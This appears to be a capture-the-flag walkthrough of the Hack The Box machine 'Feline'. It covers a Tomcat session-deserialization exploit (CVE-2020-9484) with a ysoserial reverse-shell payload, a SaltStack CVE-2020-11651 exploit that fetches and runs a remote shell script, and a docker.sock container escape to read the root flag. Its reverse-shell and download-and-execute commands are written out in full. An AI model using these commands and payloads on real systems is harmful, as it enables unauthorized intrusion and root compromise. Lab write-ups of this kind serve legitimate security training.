Tracker
- User
- root
Loot
Proofs
File | Flag |
---|---|
user.txt | 04c53abcf87401e4c54945b847436adf |
root.txt | f316483a325054f5304b2c932f3d2681 |
Passwords
Username | Hash | Cleartext | Notes |
---|---|---|---|
Summary
Overview/Highlights
OS: Linux
OS Version: Ubuntu 4
DNS Hostname: feline
Solution
Enumeration
Open Ports
ssh on tcp/22
- OpenSSH 8.2p1
http on tcp/8080
- Apache Tomcat 9.0.27
Manual Enumeration
I start off with an autorecon scan of the target host.
\| \~/cybersecurity/htb/boxes/10.10.10.205-feline ········································ INT ✘ 19:55:40 ─╮
❯ autorecon -v \--single-target -o ./ feline.htb ─╯
\[\*\] Scanning target feline.htb
\[\*\] Running service detection nmap-full-tcp on feline.htb with nmap -vv \--reason -Pn -A \--osscan-guess \--version-all -p- -oN \"/home/borari/cybersecurity/htb/boxes/10.10.10.205-feline/scans/\_full_tcp_nmap.txt\" -oX \"/home/borari/cybersecurity/htb/boxes/10.10.10.205-feline/scans/xml/\_full_tcp_nmap.xml\" feline.htb
\[\*\] Running service detection nmap-quick on feline.htb with nmap -vv \--reason -Pn -sV -sC \--version-all -oN \"/home/borari/cybersecurity/htb/boxes/10.10.10.205-feline/scans/\_quick_tcp_nmap.txt\" -oX \"/home/borari/cybersecurity/htb/boxes/10.10.10.205-feline/scans/xml/\_quick_tcp_nmap.xml\" feline.htb
\[\*\] Running service detection nmap-top-20-udp on feline.htb with nmap -vv \--reason -Pn -sU -A \--top-ports=20 \--version-all -oN \"/home/borari/cybersecurity/htb/boxes/10.10.10.205-feline/scans/\_top_20_udp_nmap.txt\" -oX \"/home/borari/cybersecurity/htb/boxes/10.10.10.205-feline/scans/xml/\_top_20_udp_nmap.xml\" feline.htb
Looks like there's just two open ports. Looking at the nmap results gives me the service version information.
SSH supports both publickey and password logins.
\| publickey
\|\_ password
It looks like the HTTP server on tcp/8080 is an actual site. The HTTP server is Apache Tomcat. We have html files for sure. Nmap found a potentially interesting folder. Also it detected a WAF?
\| http-enum:
\|\_ /service/: Potentially interesting folder
\| http-waf-detect: IDS/IPS/WAF detected:
\|\_feline.htb:8080/?p4yl04d3=\<script\>alert(document.cookie)\</script\>
It also looks like I can use the PUT method.
\+ OSVDB-397: HTTP method (\'Allow\' Header): \'PUT\' method could allow clients to save files on the web server.
Looks like index.html is an actual site as well. Based on the text, it looks like this is a site that allows you to upload viruses for analysis. That means there should be upload ability, matching the PUT finding.
\<title\>VirusBucket\</title\>
Looking at the site, there is a static index page, and the /service/ page allows for me to enter an email address and upload a binary by clicking on the sample box.
Gobuster found a few directories.
/images (Status: 302) \[Size: 0\]
/index.html (Status: 200) \[Size: 2141\]
/index.html (Status: 200) \[Size: 2141\]
/license.txt (Status: 200) \[Size: 1104\]
/service (Status: 302) \[Size: 0\]
/upload.jsp (Status: 200) \[Size: 27\]
No exploits available in searchsploit for this version. There is an exploit listed online as CVE-2020-9484.
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9484
There is a PoC available at masahiro331's github.
https://github.com/masahiro331/CVE-2020-9484
The PoC is a single curl command.
$ curl '[http://127.0.0.1:8080/index.jsp](http://127.0.0.1:8080/index.jsp)' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy'
Trying to send the groovy.session file from the PoC github repo gives us a Java stack trace with some very interesting information, specifically what appears to be the folder path that uploaded files get stored to.
\| \~/cybersecurity/htb/boxes/10.10.10.205-feline/exploit ········································ 15:54:17 ─╮
❯ curl -F \'image=@groovy.session\' -sS \'<http://feline.htb:8080/upload.jsp>\' ─╯
\<div id=\"error\"\>
org.apache.commons.fileupload.FileUploadBase\$IOFileUploadException: Processing of multipart/form-data request failed. /opt/tomcat/temp/upload_eea55181_8259_4f79_9c91_1a25666ff898_00000004.tmp (Permission denied)
at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:351)
at org.apache.commons.fileupload.servlet.ServletFileUpload.parseRequest(ServletFileUpload.java:115)
at org.apache.jsp.upload_jsp.\_jspService(upload_jsp.java:165)
at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:741)
at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:476)
at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:385)
at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:329)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:741)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:202)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:526)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:139)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)
at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:678)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343)
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:408)
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
at org.apache.coyote.AbstractProtocol\$ConnectionHandler.process(AbstractProtocol.java:861)
at org.apache.tomcat.util.net.NioEndpoint\$SocketProcessor.doRun(NioEndpoint.java:1579)
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)
at java.base/java.util.concurrent.ThreadPoolExecutor\$Worker.run(ThreadPoolExecutor.java:628)
at org.apache.tomcat.util.threads.TaskThread\$WrappingRunnable.run(TaskThread.java:61)
at java.base/java.lang.Thread.run(Thread.java:834)
Caused by: java.io.FileNotFoundException: /opt/tomcat/temp/upload_eea55181_8259_4f79_9c91_1a25666ff898_00000004.tmp (Permission denied)
at java.base/java.io.FileOutputStream.open0(Native Method)
at java.base/java.io.FileOutputStream.open(FileOutputStream.java:298)
at java.base/java.io.FileOutputStream.\<init\>(FileOutputStream.java:237)
at java.base/java.io.FileOutputStream.\<init\>(FileOutputStream.java:187)
at org.apache.commons.io.output.DeferredFileOutputStream.thresholdReached(DeferredFileOutputStream.java:178)
at org.apache.commons.io.output.ThresholdingOutputStream.checkThreshold(ThresholdingOutputStream.java:224)
at org.apache.commons.io.output.ThresholdingOutputStream.write(ThresholdingOutputStream.java:128)
at org.apache.commons.fileupload.util.Streams.copy(Streams.java:107)
at org.apache.commons.fileupload.util.Streams.copy(Streams.java:70)
at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:347)
\... 30 more
\</div\>
We'll generate a payload with ysoserial.
| ~/cybersecurity/htb/boxes/10.10.10.205-feline/exploit ········································ 16:28:28 ─╮
❯ echo "bash -i >& /dev/tcp/10.10.14.36/443 0>&1" | base64 ─╯
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNS80NDMgMD4mMQo=
| ~/cybersecurity/htb/boxes/10.10.10.205-feline/exploit ········································ 16:33:40 ─╮
❯ java -jar ~/cybersecurity/Tools/host-tools/java/ysoserial-master-6eca5bc740-1.jar CommonsCollections2 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNS80NDMgMD4mMQo=}|{base64,-d}|{bash,-i}" > test.session
Now to upload the payload.
| ~/cybersecurity/htb/boxes/10.10.10.205-feline ················································ 16:29:09 ─╮
❯ curl '[http://feline.htb:8080/upload.jsp](http://feline.htb:8080/upload.jsp)' -F "image=@exploit/test.session"
File uploaded successfully!
And execute the payload.
| ~/cybersecurity/htb/boxes/10.10.10.205-feline ················································ 16:36:47 ─╮
❯ curl '[http://feline.htb:8080/upload.jsp](http://feline.htb:8080/upload.jsp)' -H "Cookie: JSESSIONID=../../../../../../../../../opt/samples/uploads/test"
And catch the incoming shell in netcat.
| ~/cybersecurity/htb/boxes/10.10.10.205-feline ·································· 33s 16:18:22 ─╮
❯ nc -nvlp 443 ─╯
listening on [any] 443 ...
connect to [10.10.14.25] from (UNKNOWN) [10.10.10.205] 58890
bash: cannot set terminal process group (928): Inappropriate ioctl for device
bash: no job control in this shell
tomcat@VirusBucket:/opt/tomcat$
Looks like I'm user tomcat, who am I going to have to pivot to?
ls -lah /home
total 12K
drwxr-xr-x 3 root root 4.0K Jun 17 03:18 .
drwxr-xr-x 20 root root 4.0K Jun 30 12:47 ..
drwxr-xr-x 2 root root 4.0K Jun 17 05:14 tomcat
tomcat@VirusBucket:/opt/tomcat$
Oh, nobody? Sweet.
User Compromise
EoP Enumeration
Came back from cabin, sitting down to do this now, don't really remember where I was on this. I need to read through the user compromise steps to refamiliarize myself with this box.
During my initial enumeration, I saw four ports open on this machine's local address. Two of them were 4505 and 4506.
tomcat@VirusBucket:/opt/tomcat$ netstat -ntlp
netstat -ntlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:4505 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:4506 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:41511 0.0.0.0:* LISTEN -
tcp6 0 0 :::8080 :::* LISTEN 984/java
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 127.0.0.1:8005 :::* LISTEN 984/java
A quick google search showed that tcp/4505 and tcp/4506 are related to SaltStack. (https://www.saltstack.com).
Found a public PoC for this exploit from https://github.com/dozernz/cve-2020-11651.
Exploit won't execute on the target machine. Needs python salt module etc. I should port forward from my machine to run script locally targeting remote port.
First, on my kali host, I ran the chisel server.
\| \~/cybersecurity/Tools/host-tools/proxies/chisel ······································· 21:01:08 ─╮
❯ ./chisel_1.5.2_linux_amd64 server -p 4741 \--reverse ─╯
2020/09/24 21:01:27 server: Reverse tunnelling enabled
2020/09/24 21:01:27 server: Fingerprint e6:b8:c0:6b:0c:f2:e4:c6:8f:58:28:36:93:16:e2:a7
2020/09/24 21:01:27 server: Listening on 0.0.0.0:4741\...
Then on the target machine I ran the chisel client.
\<\$ ./c client 10.10.14.36:4741 R:4506:127.0.0.1:4506
2020/09/25 01:20:32 client: Connecting to ws://10.10.14.36:4741
2020/09/25 01:20:32 client: Fingerprint 3f:2a:f5:d1:36:b4:89:9f:08:6f:34:6b:a8:ca:1c:a3
2020/09/25 01:20:32 client: Connected (Latency 32.14486ms)
uploaded shell.sh to target with RCE
\| \~/cybersecurity/htb/boxes/10.10.10.205-feline/exploit ···························· 21:52:15 ─╮
❯ python3 cve-2020-11651.py \--master localhost \--exec \"curl 10.10.14.36/shell.sh -o /tmp/shell.sh; chmod +x shell.sh\"
\[!\] Please only use this script to verify you have correctly patched systems you have permission to access. Hit \^C to abort.
\[+\] Checking salt-master (localhost:4506) status\... ONLINE
\[+\] Checking if vulnerable to CVE-2020-11651\... YES
\[\*\] root key obtained: Pi79fxNe84fZpSd+jlJVquniOV1DXhWJagQP8iFzaxnv8fGitfbuJcW1Ck3V7gWQBmCEayNu/cc=
\[+\] Attemping to execute curl 10.10.14.36/shell.sh -o /tmp/shell.sh; chmod +x /tmp/shell.sh on localhost
\[+\] Successfully scheduled job: 20200925020929125168
\| \~/cybersecurity/htb/boxes/10.10.10.205-feline/exploit ································· 21:52:21 ─╮
❯ py-serve ─╯
Serving HTTP on 0.0.0.0 port 80 \...
10.10.10.205 - - \[24/Sep/2020 21:53:57\] \"GET /shell.sh HTTP/1.1\" 200 -
Executed uploaded shell.
\| \~/cybersecurity/htb/boxes/10.10.10.205-feline/exploit ···················· 3s 21:55:45 ─╮
❯ python3 cve-2020-11651.py \--master localhost \--exec \"bash /tmp/shell.sh\" ─╯
\[!\] Please only use this script to verify you have correctly patched systems you have permission to access. Hit \^C to abort.
\[+\] Checking salt-master (localhost:4506) status\... ONLINE
\[+\] Checking if vulnerable to CVE-2020-11651\... YES
\[\*\] root key obtained: Pi79fxNe84fZpSd+jlJVquniOV1DXhWJagQP8iFzaxnv8fGitfbuJcW1Ck3V7gWQBmCEayNu/cc=
\[+\] Attemping to execute bash /tmp/shell.sh on localhost
\[+\] Successfully scheduled job: 20200925021147469809
\| \~/cybersecurity/htb/boxes/10.10.10.205-feline/exploit ····················· 2m 31s 21:55:04 ─╮
❯ nc -nvlp 4443 ─╯
listening on \[any\] 4443 \...
connect to \[10.10.14.36\] from (UNKNOWN) \[10.10.10.205\] 42842
bash: cannot set terminal process group (6061): Inappropriate ioctl for device
bash: no job control in this shell
root@2d24bf61767c:\~#
Enumerated files in new home directory.
root@2d24bf61767c:\~# ls -lah
ls -lah
total 28K
drwx\-\-\-\-\-- 1 root root 4.0K Jun 30 12:45 .
drwxr-xr-x 1 root root 4.0K Jun 30 12:33 ..
-rw\-\-\-\-\-\-- 1 root root 1.4K Jun 30 16:12 .bash_history
-rw-r\--r\-- 1 root root 570 Jan 31 2010 .bashrc
-rw-r\--r\-- 1 root root 148 Aug 17 2015 .profile
drwxr-xr-x 2 root root 4.0K May 3 22:21 .ssh
-rw-r\--r\-- 1 root root 137 Jun 30 12:41 todo.txt
root@2d24bf61767c:\~# cat todo.txt
cat todo.txt
\- Add saltstack support to auto-spawn sandbox dockers through events.
\- Integrate changes to tomcat and make the service open to public.
root@2d24bf61767c:\~#
Found something interesting in .bash_history.
root@2d24bf61767c:~# cat .bash_history
cat .bash_history
paswd
passwd
passwd
passswd
passwd
passwd
cd /root
ls
ls -la
rm .wget-hsts
cd .ssh/
ls
cd ..
printf '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.' > todo.txt
cat todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.' > todo.txt
cat todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\' > todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\' > todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt
cat todo.txt
printf -- '- Add saltstack support to auto-spawn sandbox dockers through events.\n- Integrate changes to tomcat and make the service open to public.\n' > todo.txt
cd /home/tomcat
cat /etc/passwd
exit
cd /root/
ls
cat todo.txt
ls -la /var/run/
curl -s --unix-socket /var/run/docker.sock [http://localhost/images/json](http://localhost/images/json)
exit
root@2d24bf61767c:~#
This means that I can send commands through docker.sock to the docker daemon, using the API. I will be able to create a new docker image which can volume bind to the host folder to execute malicious commands on the host. See this reference: https://blog.secureideas.com/2018/05/escaping-the-whale-things-you-probably-shouldnt-do-with-docker-part-1.html.
First I need to get the name of the current docker image.
root@2d24bf61767c:\~# curl -s \--unix-socket /var/run/docker.sock <http://localhost/images/json>
\<t /var/run/docker.sock <http://localhost/images/json>
\[{\"Containers\":-1,\"Created\":1590787186,\"Id\":\"sha256:a24bb4013296f61e89ba57005a7b3e52274d8edd3ae2077d04395f806b63d83e\",\"Labels\":null,\"ParentId\":\"\",\"RepoDigests\":null,\"RepoTags\":\[\"sandbox:latest\"\],\"SharedSize\":-1,\"Size\":5574537,\"VirtualSize\":5574537},{\"Containers\":-1,\"Created\":1588544489,\"Id\":\"sha256:188a2704d8b01d4591334d8b5ed86892f56bfe1c68bee828edc2998fb015b9e9\",\"Labels\":null,\"ParentId\":\"\",\"RepoDigests\":\[\"\<none\>@\<none\>\"\],\"RepoTags\":\[\"\<none\>:\<none\>\"\],\"SharedSize\":-1,\"Size\":1056679100,\"VirtualSize\":1056679100}\]
root@2d24bf61767c:\~#
Ok. Now I can create a payload file that will display the root.txt flag for me. I make a text file on kali with the following.
cmd=\"cat /root/root.txt\"
payload=\"\[\\\"/bin/sh\\\",\\\"-c\\\",\\\"chroot /mnt sh -c \"\]\"
response=\$(curl -s -XPOST \--unix-socket /var/run/docker.sock -d \"{\\\"Image\\\":\\\"sandbox\\\",\\\"cmd\\\":\$payload, \\\"Binds\\\": \[\\\"/:/mnt:rw\\\"\]}\" -H \'Content-Type: application/json\' <http://localhost/containers/create>)
revShellContainerID=\$(echo \"\$response\" \| cut -d\'\"\' -f4)
curl -s -XPOST \--unix-socket /var/run/docker.sock <http://localhost/containers/$revShellContainerID/start>
sleep 1
curl \--output - -s \--unix-socket /var/run/docker.sock \"<http://localhost/containers/$revShellContainerID/logs?stderr=1&stdout=1>\"
I upload it to the target machine in my docker root instance with curl, and make it executable.
root@2d24bf61767c:/tmp# curl 10.10.14.36/get-rootflag.sh -o v2.sh
curl 10.10.14.36/get-rootflag.sh -o v2.sh
\% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 597 100 597 0 0 13266 0 \--:\--:\-- \--:\--:\-- \--:\--:\-- 13266
root@2d24bf61767c:/tmp# chmod +x v2.sh
Then I execute it and get my root flag.
root@2d24bf61767c:/tmp# ./v2.sh
./v2.sh
!f316483a325054f5304b2c932f3d2681
root@2d24bf61767c:/tmp#